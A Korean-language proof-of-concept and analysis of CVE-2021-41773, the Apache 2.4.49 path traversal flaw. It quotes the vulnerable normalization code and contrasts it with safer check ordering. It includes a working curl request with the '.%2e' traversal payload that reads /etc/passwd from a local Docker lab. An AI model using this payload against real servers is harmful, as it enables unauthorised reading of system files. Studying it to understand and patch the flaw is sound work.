
CVE-2021-41773에 대한 PoC 및 분석
CVE-2021-41773은 Apache HTTP Server 2.4.49에 영향을 주는 경로 순회 취약점입니다.
이 취약점으로 인해 공격자는 특정 구성에서, 특히 Alias, ScriptAlias 또는 기타 Alias 유사 지시문을 통해 디렉토리가 노출된 경우, 의도된 디렉토리 밖의 파일에 접근할 수 있습니다.
이 취약점은 URL 경로 정규화 및 표준화 처리가 부적절하기 때문에 발생합니다. Apache는 여전히 인코딩된 문자를 포함할 수 있는 경로 표현에 대해 보안 검사를 수행했으며, 이로 인해 공격자는 인코딩된 점(dot) 시퀀스를 사용해 탐색 탐지를 우회할 수 있었습니다.
공격자는 다음과 같은 인코딩된 탐색 시퀀스를 포함하는 악성 URL을 만들 수 있습니다:
.%2e
여기서:
%2e = .
따라서:
.%2e
는 다음과 같이 변환됩니다:
..
디코딩 후.
Apache가 인코딩된 표현을 정규 형식으로 변환하기 전에 검증하는 경우, 탐색 검사를 우회할 수 있습니다.
성공적인 악용 시 공격자는 파일시스템에서 임의의 파일을 읽을 수 있습니다.
예시 대상:
/etc/passwd
취약한 로직은 다음 위치에 있습니다:
server/util.c
내부의:
ap_normalize_path()
Apache 2.4.49 취약 코드:
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* Wind w back to remove the previous segment */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* Already at root, ignore and return a failure
* if asked to.
*/
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* Move l forward to the next segment */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
취약한 코드는 디렉토리 탐색 패턴을 식별하려고 시도합니다:
../
연속된 점을 확인하는 방식으로:
path[l + 1] == '.'
그러나 공격자는 인코딩된 탐색 시퀀스를 제공할 수 있습니다:
/.%2e/
정규화 검사 시점에 Apache는 다음을 처리합니다:
.%2e
다음 대신에:
..
왜냐하면:
%2e != .
탐색 탐지 로직은 이 시퀀스를 다음과 같이 인식하지 못합니다:
../
그 후 경로는 디코딩된 형태로 해석되어 탐색이 발생할 수 있습니다.
취약한 동작은 다음과 같이 나타낼 수 있습니다:
HTTP Request
|
v
Path normalization / traversal validation
|
v
URL decoding / canonicalization
|
v
Filesystem access
보안 결정은 경로가 최종 정규 표현에 도달하기 전에 이루어집니다.
더 안전한 방법은 다음과 같습니다:
HTTP Request
|
v
URL decoding
|
v
Path normalization
|
v
Traversal validation
|
v
Filesystem access
보안 검사는 항상 최종 정규화된 표현을 기준으로 수행되어야 합니다.
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773
docker build -t apache-cve-2021-41773 .
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773
인코딩된 탐색 시퀀스를 포함하는 요청을 전송합니다:
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
성공적인 악용 시 다음 파일의 내용이 반환됩니다:
/etc/passwd
예:
root:x:0:0:root:/root:/bin/bash
403 Forbidden 응답이 반드시 악용 실패를 의미하는 것은 아닙니다.
테스트 중 Apache가 다음 경로를 정상적으로 정규화할 수 있습니다:
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
다음으로 변환합니다:
/etc/passwd
그러나 파일시스템 권한이나 Apache 인증 규칙으로 인해 접근을 거부할 수 있습니다.
예:
client denied by server configuration: /etc/passwd
이는 탐색이 성공적으로 발생했지만 접근 제어로 인해 파일 노출이 차단되었음을 나타냅니다.
CVE-2021-41773은 정규화 취약점의 전형적인 예입니다.
사용자 제어 입력은 여러 표현을 가질 수 있습니다:
.%2e
및:
..
서로 다르게 보이지만, 이들은 동일한 경로 구성 요소를 나타냅니다.
보안 검사는 항상 디코딩 및 정규화 이후에 수행되어야 합니다. 인코딩되거나 모호한 표현을 검증하면 보안 우회로 이어질 수 있습니다.